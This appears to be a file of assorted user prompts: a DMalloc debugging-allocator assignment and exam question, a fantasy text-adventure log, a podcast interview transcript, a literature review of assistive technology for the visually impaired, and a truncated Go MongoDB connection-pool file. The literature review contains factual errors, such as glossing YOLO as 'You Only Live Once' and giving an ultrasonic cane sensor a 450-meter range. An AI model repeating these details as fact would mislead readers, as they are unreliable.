points somewhere just beyond the metadata. In dfree(ptr), the ptr argument then must be a pointer to the payload of a block (because that’s what dmalloc returned before), but you can use pointer arithmetic again to access the metadata stored just before ptr to access the block’s size. Consider what bugs might emerge when adding metadata near your allocated block and how you might resolve them!\n\nQuick reminders on pointer arithmetic:\n\nYou can use the function sizeof() to get the size of a datatype.\nbase\\_malloc returns a void\\*, which is a pointer without a type. Before you can do pointer arithmetic, you will need to cast the void\\* pointer to have a type. However, dmalloc should still return a void\\*.\nWhen you incremement a pointer, the pointer’s address will jump ahead by the size of the pointer’s datatype.\nRun make check to run the test programs. Specifically, test001 through test011 should pass when you are done with this section.\n\nInteger overflow protection\nYour debugging malloc library also needs to be robust against integer overflow attacks. Integer overflow occurs when you try to allocate a number of bytes that is too large. For example, the size\\_t type of the first argument to dmalloc is a type alias for an unsigned long data type, which is comprised of 8 bytes. When you compute the number of bytes to request and it exceeds the maximum possible integer, the value of the size\\_t wraps around to 0. Consider, for example, the calloc function in the stencil code, think about how overflow could occur, and then fix it.\n\nTask: Implement the overflow protection in dmalloc() and dcalloc().\n\ntest012 through test015 should pass after this is done correctly. Make sure that test015 succeeds on the grading server too; if you get a test timeout on the grading server, your overflow checks are not quite right.\n\nInvalid free and double-free detection\ndfree(ptr) should print an error message and then call C’s abort() function when ptr does not point to active dynamically-allocated memory. There are several cases when this might occur.\n\nThe test programs define the desired error message format. Here’s our error message for test016:\n\nMEMORY BUG: test016.cc:8: invalid free of pointer 0xffffffffffffffe0, not in heap\nError messages should be printed to standard error (using C’s fprintf(stderr, ...)). Different error situations require different error messages; the other test programs define the required messages.\n\nTask: Check for invalid and double frees in dfree() and print an appropriate error message.\n\nHints!\nptr needs to point somewhere on the heap. How are you tracking the allocated space on the heap?\n\nYou need to catch double frees (when free is called on the same pointer twice)! How can you determine whether or not a block is freed?\n\nptr must be a pointer to the beginning of an allocated memory block, not just any address on the heap. Knowing your metadata header should be stored in memory right before ptr, how can you guarantee you are actually accessing a header?\n\nDon’t be afraid to store more information in your metadata!\n\ntest016 through test024 should pass after this is done correctly.\n\nBoundary write error detection\nA boundary error is when a program reads or writes memory beyond the actual dimensions of an allocated memory block.\n\nA debugging memory allocator can’t detect boundary read errors, but it can detect many boundary write errors. Your dfree(ptr) should print an error message and call abort() if it detects that the memory block associated with ptr suffered a boundary write error.\n\nTask: Check for boundary write errors in dfree() and print an appropriate error message.\n\nHints!\nAs a strategy for detecting boundary write errors, consider adding data with a known (“secret”) value around the boundaries of your allocation, and then check that value in appropriate places.\n\nNo debugging allocator can reliably detect all boundary write errors. For example, consider this:\n\nint\\* array = (int\\*) malloc(10 \\* sizeof(int));\nint secret = array[10]; // save boundary value\narray[10] = 1384139431; // boundary write error\narray[10] = secret; // restore old value! dmalloc can’t tell there was an error!\nOr this:\n\nint\\* array = (int\\*) malloc(10 \\* sizeof(int));\narray[200000] = 0; // a boundary write error, but very far from the boundary!\nWe’re just expecting your code to catch common simple cases where the user writes one or more bytes directly after the allocated block.\n\ntest025 through test027 should pass after this is done correctly. Note that test 27 and following invoke undefined behavior (and make assumptions about the compiler’s choices for it) in order to test your implementation. You don’t need to pass these and the higher-numbered tests with sanitizers enabled.\n\nMemory leak reporting\nA memory leak happens when code allocates a block of memory, but then forgets to free it. Memory leaks are not as serious as other memory errors, particularly in short-running programs. They don’t cause a crash, and the operating system always reclaims all of a program’s memory when the program exits. But in long-running programs, such as your browser or the operating system itself, memory leaks have serious effect and are important to avoid.\n\nFill in the print\\_leak\\_report() function such that, when called, it prints a report about every allocated object in the system. This report should list every object that has been allocated via dmalloc but not freed using dfree. Print the report to standard output (not standard error). A report should look like this:\n\nLEAK CHECK: test033.cc:23: allocated object 0x9b811e0 with size 19\nLEAK CHECK: test033.cc:21: allocated object 0x9b81170 with size 17\nLEAK CHECK: test033.cc:20: allocated object 0x9b81140 with size 16\nLEAK CHECK: test033.cc:19: allocated object 0x9b81110 with size 15\nLEAK CHECK: test033.cc:18: allocated object 0x9b810e0 with size 14\nLEAK CHECK: test033.cc:16: allocated object 0x9b81080 with size 12\nLEAK CHECK: test033.cc:15: allocated object 0x9b81050 with size 11\nA programmer will use this leak checker by calling print\\_leak\\_report() before exiting the program, after freeing all allocated dynamic memory they recall. Any missing frees will show up in the leak report!\n\nTask: Implement print\\_leak\\_report().\n\nHints!\nThere are multiple ways to do this. Here are some things that might be helpful:\n\nstd::pair – a C++ object that contains two data elements (similar to a tuple with two members).\n\nstd::map – C++ key-value map. You will need to add #include at the top of dmalloc.cc to use this.\n\nmap::begin – returns an iterator referring to the first element in the map container.\n\nstd::unordered\\_map – C++ key-value hash map. You will need to add #include at the top of dmalloc.cc to use it. If you get strange and scary compiler errors when using this data structure, it’s likely because the compiler doesn’t know how to hash your key type. Check out this guide for more information.\n\ntest028 through test030 should pass after this is done correctly.\n\nAdvanced reports and checking\nThis is the home stretch!\n\nTo make your debugger even more robust, you should print better information and defend against more complex invalid frees. You will need to read the test code and understand what is being tested to defend against it.\n\nUpdate your invalid free message. After determining that a pointer is invalid, your code should check whether the pointer is inside a different allocated block. This will use the same structures you created for the leak checker. If the invalid pointer is inside another block, print out that block, like so:\n\nMEMORY BUG: test031.cc:10: invalid free of pointer 0x833306c, not allocated\n test031.cc:9: 0x833306c is 100 bytes inside a 2001 byte region allocated here\nAlso make sure your invalid free detector can handle more diabolical situations. What situations? Check the test code to find out!\n\nTask: If an invalid free occurs within an already allocated block print an appropriate error message.\n\ntest031 through test033 should pass after this is done correctly.\n\nPerformance and C++ integration\nFinally, test programs 34 to 39 test other situations that allow you to check that your debugging allocator is efficent and compatible with C++ style memory alocation (not just C style memory allocation).\n\ntest034 calls dmalloc 500,000 times, supplying tens of thousands of different filename/line-number pairs. Ideally, your solution should run test034 in a second or less.\n\nTask: Meet the performance requirement!\n\nAll tests should pass after this is done correctly! :tada:\n\nNote: C++ introduces a new paradigm for dynamic memory allocation with the new and delete keywords. These keywords are designed to work with C++ classes, but under the hood they work simply by using malloc and free respectively.\n\n---\n\n7. Project 2: DMalloc (4 points)\nQUESTION 7A. Like your DMalloc implementation, the standard C malloc implementation also stores metadata with each allocation. Below, we show you a slightly simplified version of that metadata, which stores the size of each allocation and whether that allocation has been freed in a header:\n\n[Malloc Memory Diagram, showing that before the payload in each malloc allocation, there is data on the size of the allocation and a flag representing whether this allocation has been freed.]\n\nDescribe two memory errors that can occur using malloc’s metadata implementation, but not using DMalloc's. Explain how your DMalloc implementation fixes these problems." -'OK then. Part 1 (remember not to attempt to rewrite until all three parts have been posted):\n\nLong, long ago the land of Erosia was a mecca for the creative people\'s of the known world. Whether artist, muse, or patron, those with a passion for art and beauty, flocked to Erosia, starting their lives anew and with each new arrival transforming the city into an ever-changing and infinitely rich tapestry of the most creative minds in all the world. But, long before The Great Schism shattered the world, Erosia had succumbed to the darker side of passion transforming into the darkest land in all the world.\n\nThis is the story of The Patron and the Three Sisters.\n\nWelcome to the land of Erosia, a land filled with danger and pleasure at every turn. You find yourself standing at the entrance to the bustling city of Tenebris, its towering walls and bustling markets stretching out before you. As you step forward, the sounds of merchants hawking their wares and the smells of exotic spices and roasting meats fill your senses.\n\nSuddenly, a group of rough-looking thugs steps out from an alleyway, brandishing crude weapons and sneering at you menacingly. It seems they have mistaken you for an easy target. What will you do?\n\nYou approach the group of thugs and ask if they know who you are. They sneer at you and one of them responds, "Why should we care who you are? You\'re just some idiot wandering around our turf."\n\nTheir hostile response suggests that they have no knowledge of your identity or any reason to treat you differently. You may need to rely on your own skills and cunning to navigate this dangerous world. What will you do next?\n\nIt\'s clear these thugs mean to harm me and I see no clear route of escape without a fight. Pulling my daggars, I wade into the midst of the thugs deftly swinging and slashing with a daggar in each hand.\nYou pull out your daggers and charge towards the thugs, determined to fight your way out of this situation. The thugs step forward to meet your challenge, their crude weapons clashing against your sharp blades.\n\nYour movements are swift and precise, and you quickly begin to take down the thugs one by one. They fight back fiercely, but your skill with the daggers allows you to dodge and parry their attacks while striking back with deadly accuracy.\n\nThe fight is brutal and intense, but you emerge victorious, leaving the thugs lying battered and bruised on the ground. As you catch your breath and wipe the sweat from your brow, you hear the sound of approaching guards. It seems someone has reported the fight, and the city\'s authorities are on their way.\n\nYou must decide quickly - will you make a run for it, or face the consequences of your actions and explain yourself to the guards? The choice is yours.\n\nThinking quickly I laugh at the thugs lying on the ground. Then I bash my head against a neaby slash my forearm several times with superficial cuts, turn and run full speed into a nearby stone wall knocking myself out.\nYour plan is risky, but you act quickly, laughing at the thugs before slamming your head against the nearby wall and cutting your arm with your dagger. You turn and run full speed towards a nearby stone wall, slamming into it with all your might.\n\nThe impact is jarring, and you feel yourself slipping into unconsciousness as the guards arrive on the scene. They quickly assess the situation, seeing the thugs lying on the ground and your prone form against the wall. One of them approaches you cautiously, checking for any signs of life.\n\nFortunately, your ruse has worked, and the guards are convinced that you were attacked by the thugs and knocked unconscious in the struggle. They quickly call for medical help and carry you to safety, while the thugs are hauled off to prison.\n\nYou awake some time later in a hospital bed, your head throbbing with pain and your arm bandaged. You realize that you\'ve narrowly escaped a close call, and must be more careful in the future. The world of Erosia is full of dangers and surprises, and you\'ll need all your wits and skills to survive.\n\nAs I come to in the hospital bed, my eyes finally gain focus revealing a beautiful young healer leaning over my bed tending to the lump on my head.\nYou come to in the hospital bed, your vision slowly clearing to reveal a beautiful young healer leaning over you, tending to the lump on your head. She looks up as she notices you stirring, her eyes sparkling with concern.\n\n"Thank the gods you\'re awake," she says softly. "You took quite a hit to the head back there. How are you feeling?"\n\nYou groan softly, feeling the ache in your head and the throbbing pain in your arm. But despite the pain, you can\'t help but be captivated by the healer\'s beauty and gentle touch.\n\nAs she finishes tending to your wounds, she introduces herself as Isadora, and explains that she\'s one of the healers at the hospital. She asks if you need anything, and you can\'t help but feel a twinge of attraction as you gaze into her kind eyes.\n\nWhat will you do next? Will you try to get to know Isadora better, or focus on your mission in Erosia?\n\nget to know her better\nYou find yourself drawn to Isadora\'s gentle nature and charming personality. As she finishes tending to your wounds, you strike up a conversation, eager to learn more about her.\n\nAs you talk, you discover that she is not only a skilled healer, but also a talented artist and musician. She tells you of her dreams of one day opening her own gallery, and you find yourself admiring her passion and drive.\n\nYou continue to talk long into the night, sharing stories and learning about each other\'s lives. You can\'t help but feel a strong connection to Isadora, and as the night wears on, you realize that you don\'t want to leave her side.\n\nAs dawn approaches, Isadora bids you farewell, promising to visit you again soon. You watch her leave, feeling a sense of loss as she disappears from view.\n\nBut despite the bittersweet feeling, you know that you\'ve made a valuable connection in Erosia, one that may prove useful in the days to come. As you lay back in your hospital bed, you think about the adventures that await you, and the people you\'ll meet along the way.\n\ncontinue\nWith Isadora on your mind, you set out to explore more of the city of Tenebris, eager to see what adventures and secrets it holds. As you wander the bustling streets and markets, you encounter a variety of characters - from wealthy merchants to dangerous criminals, and everything in between.\n\nOne merchant catches your eye, selling exotic spices and rare ingredients from far-off lands. You strike up a conversation with him, and he tells you of a powerful alchemist who lives deep in the mountains, known for his ability to create potions of incredible strength and potency. If you can retrieve some of his rare ingredients, he promises to reward you handsomely.\n\nFurther down the street, you come across a group of thieves, their eyes glinting with mischief as they plot their next heist. You approach them cautiously, hoping to learn more about their plans and perhaps gain their trust.\n\nAs you talk with the thieves, you realize that they are planning to rob a wealthy nobleman\'s estate, known for its lavish parties and priceless treasures. If you can help them pull off the heist, they promise to cut you in on the profits.\n\nYou must decide where your loyalties lie, and what risks you\'re willing to take. Will you aid the alchemist in his quest for rare ingredients, or team up with the thieves and pull off the heist of a lifetime? The choice is yours.\n\nI continue to walk through the market looking for a buyer of gemstones.\nAs you make your way through the bustling market, you keep your eyes peeled for any potential buyers of gemstones. It doesn\'t take long before you spot a wealthy-looking merchant, his stall adorned with all manner of jewels and precious stones.\n\nYou approach him cautiously, taking care not to draw too much attention to yourself. You reveal the gemstones you have in your possession, explaining their value and rarity. The merchant takes a look at them, his eyes glittering with greed.\n\nAfter a brief negotiation, you strike a deal with the merchant, agreeing to sell the gemstones for a generous sum of gold. With the transaction complete, you leave the market feeling richer and more powerful than ever before.\n\nBut as you make your way through the city, you begin to realize that wealth and power are not the only things that matter in this dangerous world. The choices you make, the alliances you form, and the risks you take - these are the things that will define you in the end.\n\nAnd so you continue on your journey through Erosia, ready for whatever challenges and adventures await you next. Whether it\'s aiding the alchemist, teaming up with the thieves, or something else entirely, you\'re ready to take on the world, one step at a time.' -'try again: "Jack: Sure. So my background is in graphic design. Studied graphic design in Cardiff in the UK, graduated in 2010, and then got into my agency career. Interned in London at a couple of little boutique design agencies, moved to New York shortly after--maybe six months after I started working in London. Was fortunate enough to...I pinged about 150 emails to Craigslist: "Classified ads, graphic design interns," and I got one response. Turned that into my first real job, so got sponsored and came out to the States. Spent about 18 months there, [which are] tiny little boutique design agency working on small little branding projects. They had a couple big clients like Ralph Lauren, but all very traditional graphic design stuff. Then I bounced around New York for eight years. Just different agency jobs--design, art direction--working...just slowly getting more and more digital as the industry did, like building apps, designing websites, and then digital marketing and all its various forms.\n\nAlex: Sure.\n\nJack: And in 2017, I was like, "Okay, I\'ve got enough lay of the land now. I\'ve experienced all these different agency environments," definitely with a tinge of like mid twenties arrogance, or late twenties arrogance. I was like, "I\'ll just go and do this by myself."\n\nAlex: Yeah.\n\nJack: So I set up an agency, managed to get a client from one of my old agencies that was essentially unable to pay the rates of a massive 11,000 person agency. So I had a friend who intro-ed me, got the LLC set up and kind of managed to leverage that first introduction into the agency itself. So I didn\'t just start it and then go looking for business; it kind of came off the back of having this introduction. And did that for about nine months. It was a huge automotive brand, so obviously massive expectations in what you have to produce, and how many times you\'d answer the phone, and how many emails you need to respond to, and in certain compressed periods of time. The expectation they have of working with big agencies, you have to sort of fill that vacuum immediately.\n\nAlex: Right.\n\nJack: So the choice becomes, "Okay, do I try and scale this business up in a more efficient way than all of these massive agencies that I\'ve worked at before? Do I really think that\'s my skill set? Am I good at building companies of scale," and obviously I had no experience doing that, "or am I more interested in doing the creative work?" And so I just iterated on the agency model, essentially. So that first iteration was me hiring out freelancers for every job and managing people--essentially just an administrator, I wasn\'t doing much of the creative work myself. And then Visualize Value came about as kind of a response to how fast that model burned me out. It was just too much admin and nonsense and things of that nature. So Visualize Value actually began as a... I suppose you could describe it as a really focused design studio with a very slim set of deliverables. So we would be helping businesses that had something intangible to articulate tell their story visually--whether that\'s a pitch deck, whether that\'s a bunch of visuals that they on their sales team [went] with, whether it\'s a story they want to tell on social, whether it\'s something they want to animate...But essentially all the deliverables came out looking similar. And if you\'ve seen Visualized Value, it\'s just vector shapes, typography, black color. And then as a lead [generator] for that business, I just started posting ideas or visualizing ideas that are more broadly useful than a supply chain or a hedge fund algorithm that I was doing for client work as the the demonstration of the type of work that I could do for someone. And that brought in enough consulting and one-on-one design work that eventually it hit a ceiling of time. Again, you have that same decision to make, "Do I hire people? Do I train people to do this, or do I figure out a different model to deliver this idea to the world?" And then that\'s when I started experimenting with product. So canvases originally--you know, selling art of the design pieces themselves--and then a book, and then a couple education products, and we have the merch now. And it\'s just kind of grown different branches and tentacles over time, and it does a little bit of everything now, but the main thesis of it is to try and distill complex ideas visually and help people get a better grasp on ideas that ...for the most part, you\'re focused on the small business or the entrepreneur. That\'s the perspective that I was looking at it from. And that\'s where I asked basically, "How is evaluating this advice..is this something that I\'ve used or have I found useful? I\'m just going to kind of consume that, wrap it up in a different way and put it back out into the world in a way that helped me remember it." And then momentum built up from there. \n\nAlex: Yeah. Yeah, I think there\'s a lot there that\'s really cool. I think for me, it just, initially... it really struck the chord of what...if you\'re scrolling on Twitter, if you\'re scrolling on Instagram, and if you are a person who thinks this way of wanting to build business or wanting to improve yourself or improve your life, it was just so digestible in a way. And I think a lot of that is because of how simplified it really made it --so like these quotes or these big ideas, I love that there is this very simplified visual aspect that kind of tells of [an] even clearer picture of the full story of something. But I think a lot of the power in what you\'ve built is that simplicity, like what you had mentioned briefly is it\'s basically a black background with white lines and white text, basically. It\'s very simplified. I\'m curious, I know that boundaries in creative work are one of the most powerful things and constraints. How did you decide on those constraints and why do you think that they\'re so powerful and useful in this context? \n\nJack: Yeah, so I\'ve tried to retroactively figure this out. I think a lot of it has to do with agency experience and being forced into the constraint that a brand would give you. So if you\'re working on American Express for 12 months, it\'s like, here\'s a typeface you have, here\'s a color palette you have, and here\'s the guidelines for how far text needs to be away from the edge of the, whatever it is you\'re working on. And I think that that\'s a subconscious muscle you develop, which is building assets or building a series or doing a series of work that is... you can tell a different story or you can make a different point, but they\'re all visually related. They have a relationship to one another, and the obvious reason for that in the world of big brands is because you want to conjure that association between the message and the brand. So every time someone encounters it, it\'s just sort of like...I imagine it as filling in a...like a map of misunderstanding, right? It\'s like you get that point, and then you see another message, but because it has this visual anchor that was the same, it\'s like, "Okay, I\'m filling in another gap in my understanding." That\'s one very philosophical way to look at it. \n\nAlex: Yeah.\n\nJack: And then the more practical way to look at it is, you don\'t waste a ton of time staring at a blank canvas, like "what typeface am I going to use here? What color goes with this? What style choices should I make?" And some of the early iterations of... it, wasn\'t called Visualize Value at the time, but I ran a business with a friend of mine before Visualize Value called Trust Accelerator, which was a productized podcast service, basically. So if you\'re a small business and you don\'t have time to hire, or you don\'t have the budget to hire a full-on production team for a podcast, you just record an hour of audio, drop it into Google Drive, and then we\'ll turn it into...produce podcasts and article three clips and five visuals a week. And I was basically designing a brand for every single one of those podcasts and then using those brand constraints to drive the assets on a weekly basis. And seeing people\'s response to that was another... it clicked in my mind that "Okay, I don\'t need to reinvent the wheel visually here every time." It\'s more about what I\'m doing with these elements that I\'ve decided to use, and that actually becomes the creative constraints. So you\'re forcing the creativity back on yourself. So you\'re not spending 80% of your energy making stylistic decisions. You\'re actually spending your energy making logical decisions or conceptual decisions. So that, I think, creates a really interesting ...I think you could apply it to any craft, right? If you\'re cooking a meal and you only have X in the kitchen, then you have to get incredibly creative to make that good or interesting or whatever else. And I think it\'s been a happy accident to some degree, but once you see it working, you\'re like "Okay, I\'m going to stick with the happy accident." \n\nAlex: Right.\n\nJack: And the more I think about introducing new elements, the more I\'m like, "Well, why am I actually...Is that something I\'m doing to satiate myself? Or am I actually running out of ideas here? Or am I just wandering off the proven path?" So it\'s worked so far. We\'ll see. \n\nAlex: Yeah. Yeah, I think that it does really...I think visually it\'s very clear, because we\'re such visual species that it really clicks for people. But I do think it applies for any sort of creative endeavor or any project that you\'re working on. And I think in a way too, it really builds this long-term relationship to something, because like you said, if you don\'t set those boundaries or make up those rules from the beginning, you\'re going to be reinventing the wheel every time.\n\nIf you don\'t set your color palette in the beginning, or if you don\'t set what you\'re going to be talking about...for me personally, I spent the first half of this year not working on this show, and I was working on a podcast that was about a bunch of different topics, and it wasn\'t really geared toward any one audience. And literally I ran into this problem, where it\'s like every week I\'m hitting this same wall of "Cool. I need to restructure who this is for. I need to think about the audience in a new way," and all these things. And it ended up totally breaking down and failing. And then meanwhile, I have this show that\'s very much geared toward creators.\n\nMy whole purpose is to serve creators and to help creators do better. And having that theme to what you\'re doing--even if it\'s not visually or color palette or whatever--but having that anchor, it\'s just such a game-changer and it really does clarify so much of what you\'re actually trying to build. Because like you said, you\'re not so concerned with all these outer details. You can really focus on the core problem you\'re trying to solve that time.\n\nI\'m curious too, do you still find yourself wanting to get off track? Are you ever like, "Maybe I should throw some color in." (Laughter) Or have you pretty much landed on "No, this works, and I\'m gonna to stick to it."\n\nJack: It\'s interesting, yeah. Cause I used to tell myself in the agency environment--and this was a line I would always say in interviews: "I love the variation of working on different industries or on different problems and telling different stories and meeting new people." And I don\'t think I was lying, I think that was interesting and fun, but it\'s also...once you get so far into something that you\'re seeing the...the flywheel gets easier to push, if that makes sense. Like once you\'re a thousand images in, and you have this feedback loop where people are enjoying what you\'re doing and giving you good feedback, unless there\'s a good reason personally to deviate from it...and I haven\'t ran into one right now. Like I think musicians probably...they want to record a new album. They don\'t want to use the exact same set of--I\'m not a musician, so excuse my lack of knowledge--they don\'t want to use the same set of instruments or sounds or X..."' -"please provide me with the relevant information that needed to be address during a presentation of this chapter\n\n2.3. Previous work of Visual Assistive Technology\n2.3.1. Head wear\n2.3.1.1. Wearable Travel Aid for Environment Perception and Navigation of Visually Impaired People\n For this project, a consumer Red, Green, Blue, and Depth (RGB-D) camera was attached to a pair of eyeglasses, along with an inertial measurement unit (IMU) attached to a camera, a smartphone, and an earphone for commands/feedback. The system is operable in both indoor and outdoor settings. Due to their ample information, lightweight nature, and low cost compared to other sensors, such as ultrasonic and LiDAR sensors, computer vision technologies were integrated into this device's routing and detection capabilities. The smartphone does the process of detecting and routing, and the feedback is sent to the user's ear through an earphone plugged into the smartphone (Bai et al., 2019).\nLimitation:\n• Weak in detecting small-size obstacle\n• Staircase detection is not implemented\u2003\n2.3.1.2. Let Blind People See: Real-Time Visual Recognition with Results Converted to 3D Audio\n Jiang et al. (2016) created a system that took video input from a portable camera. They streamed it to a server for real-time image recognition processing using the You Only Live Once (YOLO) model. The 3D location of the discovered object is derived by using the location and size of the object detection algorithm's bounding boxes. The Unity game engine will send it as 3D audio into their attached wireless earphones. The next sound output interval will be in a few seconds or when a different object is detected, whichever occurs first. The solution could conduct precise real-time objective detection with a live stream at a pace of 30 frames per second in 1080p resolution by utilising the YOLO algorithm and an enhanced wireless transmitter. Figure 4 shows the data flow pipeline of the paper’s system. The video footage is captured and sent to the YOLO algorithm for detecting object. The detected object is then send to the earbuds using the unity engine. Figure 5 shows the prototype of the device of this paper.\nLimitation:\n• Can only accurately detect and classify object within 2 to 5 meters away\n• Surrounding ambient will be block when using earbuds\n• Too much information will be sent to user when camera detect multiple objects\n2.3.2. Smart Cane\n2.3.2.1. Smart Electronic Stick for Visually Impaired using Android Application and Google’s Cloud Vision\n The e-stick module, integrated with a voice-controlled Android application, was designed by Bharatia et al. (2019) to replace the essential simple navigation stick that visually impaired individuals typically use. The e-stick is similar to a standard stick in that it is thin, lightweight, and easy to handle, but it has additional features. Using efficient natural language processing (NLP) features makes these functionalities affordable and possible. The e-stick uses ultrasonic sensors to find low-lying and knee-level obstacles and potholes when moving backwards. Using buzzers, active input on the presence of barriers will be delivered. For Global Positioning System (GPS) navigation to function, the user's phone will be Bluetooth-connected to the stick's circuit. In unavoidable circumstances, the live location of visually impaired individuals will be transmitted to the nearest help centre or their family for assistance. Face detection will be added so that users can tell who is trying to talk to them. With the cloud vision API, it is also possible to translate traffic lights and roadside signs so that blind people can find their way. Text recognition will also be available from photos, making it easy for people to read books, documents, newspapers, and other printed materials. A stick-tracking device has also been built in case the person loses his or her stick. These capabilities will be enabled through hardware (smart stick) and a software module (an Android application). Using Natural Language Processing technology, the user will tell these modules what to do by using voice commands. The e-stick will be charged as needed using a rechargeable circuit. Figure 6 shows how the technologies used in this paper interact.\nLimitation:\n• Coverage of obstacle detection is short as it is using sensor\n• Only suitable for indoor\n2.3.2.2. WeWalk\n WeWalk is a smart cane developed by a non-profit organisation called YGA (WeWALK Smart Cane – Smart Cane for the Visually Impaired, 2020). WeWalk looks like a traditional-looking cane, but the handle has a built-in touchpad. Users can navigate, save and discover places using the cane via the respected application. Particular layers are built into the mapping services for more accessible navigation. Users can choose to use the built-in speaker or Bluetooth for voice feedback. Users can also pair their phone with the intelligent cane via Bluetooth to control their phone. The above-ground The built-in ultrasound sensor detects an above-ground obstacle. The detected obstacle is projected back to the user in the form of vibration or audio, depending on the user’s preferences. Wewalk also has an application where users can view their transit options, such as nearby bus stops and the timetable, and then navigate them to the desired stop. The application also has a built-in voice assistant for more straightforward navigation through the application. If a user loses their phone or cane, they can play a sound on each of them to locate the position of the lost device. Figure 7 shows the WeWalk Smart Cane that is currently on the market.\nLimitation:\n• The device is very expansive, with the price of 500 USD\n• Rain or snow might cause malfunction on the smart cane and the speaker\n• The tip of the cane is loud when navigating rough surface sidewalk\n2.3.2.3. Development of an Intelligent Cane for Visually Impaired Human Subjects\n Asati et al., (2019) designed an intelligent white cane that uses HR-SO4 ultrasonic sensors to identify obstacles within a range of 450 meters and determine the distance. The object above head level will also be detected, as the sensors' range is 450 meters. The warning signal is returned in beeping signals via a buzzer, advising the user to take prompt action. Object detection and classification are done utilizing the intelligent technique. The photos are recorded using the web camera for classification. They will be transformed into text and an audio signal for text-to-speech conversion. Figure 8 shows the prototype of this paper's intelligent cane.\nLimitation:\n• Cost of building the system is high\n• Unable to identify pot holes\n• Detection under rainy weather is not tested\n2.3.3. Handheld\n2.3.3.1. Android Application for Object Recognition Using Neural Networks for the Visually Impaired\n Dosi et al. (2018) have developed an Android application that aids the visually impaired with real-time object recognition using the phone's camera and provides feedback by speaking the recognised object. They opted for a deep learning strategy based on a convolutional neural network for improved recognition and faster response times. MobileNets is utilised because it is ideal for mobile and embedded vision applications. Figure 9 shows the results of the detected object using the object recognition application.\nLimitation:\n• Only works offline\n• Unknown or untrained objects will be predicted using existing images in the database\n• Have to retrain model for untrained object\n2.3.3.2. Design and Implementation of an Embedded Real-Time System for Guiding Visually Impaired Individuals\n Duman et al. (2019) have developed and implemented a portable gadget that detects objects and measures their distance precisely to enable visually impaired individuals to see objects and people around them. The device uses YOLO, a convolutional neural network-based real-time identification method with a single device attached to a Raspberry Pi board. The estimated object distance will be projected in audio form to visually challenged users. The accuracy of this detected distance estimation is 98.8%. Initially, the footage is captured using a handheld Raspberry Pi camera. Afterwards, the object detection module executes YOLO for real-time object recognition, and bounding box size extraction for humans is needed. The size of the bounding box is provided to the distance estimation module to determine the distance of the detected individual. The labels of detected objects and the approximated distance of any individual caught are stored temporarily. An audio generation module translates text-based saved results into audio alerts that visually challenged users can listen to using headphones. Alerts are played at a predetermined time to reduce noise and ambiguity. Figure 10 shows the block diagram of the paper’s proposed system.\nLimitation:\n• Only detect humans\n• No design for any wearable option\u2003\n2.3.3.3. Real-time object detection and face recognition system to assist the visually impaired\n Anish Aralikatti et al. (2020) developed an android application that used the phone camera for real-time object and face detection using OpenCV, the You only live once (YOLO) algorithm and FaceNet. Detection of objects and human will be presented in an audio format to the user. OpenCV is used for real-time computer vision tasks. Since it is implemented into an android phone, they chose Tiny YOLO as it is a lightweight YOLO framework perfect for embedded and mobile devices. FaceNet is used for face identification systems as it can extract high-quality features of the face. Figure 12 shows the sample outputs of using the android application on a mobile phone. Figure 11 shows the face recognition feature of the android application.\nLimitation: Less accuracy than YOLO as Tiny YOLO model is smaller (Anish Aralikatti et al., 2020)" -'here is the pool.go for mgopool.DBInfo and mgopool.Pool\npackage mgopool\n\nimport (\n "context"\n "errors"\n "fmt"\n "net/url"\n "strings"\n "sync"\n "time"\n\n "gitlab.com/cake/gopkg"\n "gitlab.com/cake/m800log"\n "go.mongodb.org/mongo-driver/mongo"\n "go.mongodb.org/mongo-driver/mongo/options"\n "go.mongodb.org/mongo-driver/mongo/readpref"\n "go.mongodb.org/mongo-driver/mongo/writeconcern"\n\n "github.com/eaglerayp/go-conntrack"\n "go.opentelemetry.io/contrib/instrumentation/go.mongodb.org/mongo-driver/mongo/otelmongo"\n)\n\n// AlertChannel put error message, wait for outer user (i.e., gobuster) pick and send.\nvar AlertChannel = make(chan error, 1)\n\n// Default dial timeout value from https://gitlab.com/cake/mgo/blob/v2/cluster.go\nvar syncSocketTimeout = 5 \\* time.Second\n\n// DBInfo logs the required info for baas mongodb.\ntype DBInfo struct {\n Name string\n User string\n Password string\n AuthDatabase string\n Addrs []string\n MaxConn int\n MaxConnectAttempts int\n Timeout time.Duration\n SocketTimeout time.Duration\n ReadMode readpref.Mode\n // if not set, follow mongoDB default\n // 4.2: 1\n // 5.0: majority\n WriteConcern \\*writeconcern.WriteConcern\n Direct bool\n Mongos bool\n}\n\n// NewDBInfo\nfunc NewDBInfo(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n return NewDBInfoWithSocketTimeout(name, addrs, user, password, authdbName,\n timeout, 0, maxConn, direct, readSecondary, mongos)\n}\n\n// NewDBInfoWithSocketTimeout\nfunc NewDBInfoWithSocketTimeout(name string, addrs []string, user, password, authdbName string,\n timeout time.Duration, socketTimeout time.Duration, maxConn int, direct, readSecondary, mongos bool) \\*DBInfo {\n readMode := readpref.PrimaryPreferredMode\n if readSecondary {\n readMode = readpref.SecondaryPreferredMode\n }\n return &DBInfo{\n MaxConn: maxConn,\n Name: name,\n Addrs: addrs,\n User: user,\n Password: password,\n AuthDatabase: authdbName,\n Timeout: timeout,\n SocketTimeout: socketTimeout, // if socketTimeout is 0 (not given), newClient will use syncSocketTimeout\n Direct: direct,\n ReadMode: readMode,\n Mongos: mongos,\n }\n}\n\nfunc (dbi \\*DBInfo) SetWriteConcern(writeconcern \\*writeconcern.WriteConcern) {\n dbi.WriteConcern = writeconcern\n}\n\n// Pool is the mgo session pool\ntype Pool struct {\n name string\n config \\*DBInfo\n mode readpref.Mode\n available bool\n rwLock sync.RWMutex\n client \\*mongo.Client\n}\n\nfunc newClient(dbi \\*DBInfo, addrs []string) (newClient \\*mongo.Client, err error) {\n account := ""\n if dbi.User != "" && dbi.Password != "" {\n account = fmt.Sprintf("%s:%s@", url.QueryEscape(dbi.User), url.QueryEscape(dbi.Password))\n }\n uri := fmt.Sprintf("mongodb://%s%s/%s", account, strings.Join(addrs, ","), dbi.AuthDatabase)\n clientOpt := options.Client().ApplyURI(uri)\n\n conntrackDialer := conntrack.NewDialer(\n conntrack.DialWithName("mgopool"),\n conntrack.DialWithTracing(),\n )\n clientOpt.SetMonitor(otelmongo.NewMonitor())\n clientOpt.SetDialer(conntrackDialer)\n clientOpt.SetAppName(gopkg.GetAppName())\n clientOpt.SetConnectTimeout(dbi.Timeout)\n\n if dbi.SocketTimeout > 0 {\n clientOpt.SetSocketTimeout(dbi.SocketTimeout)\n } else {\n 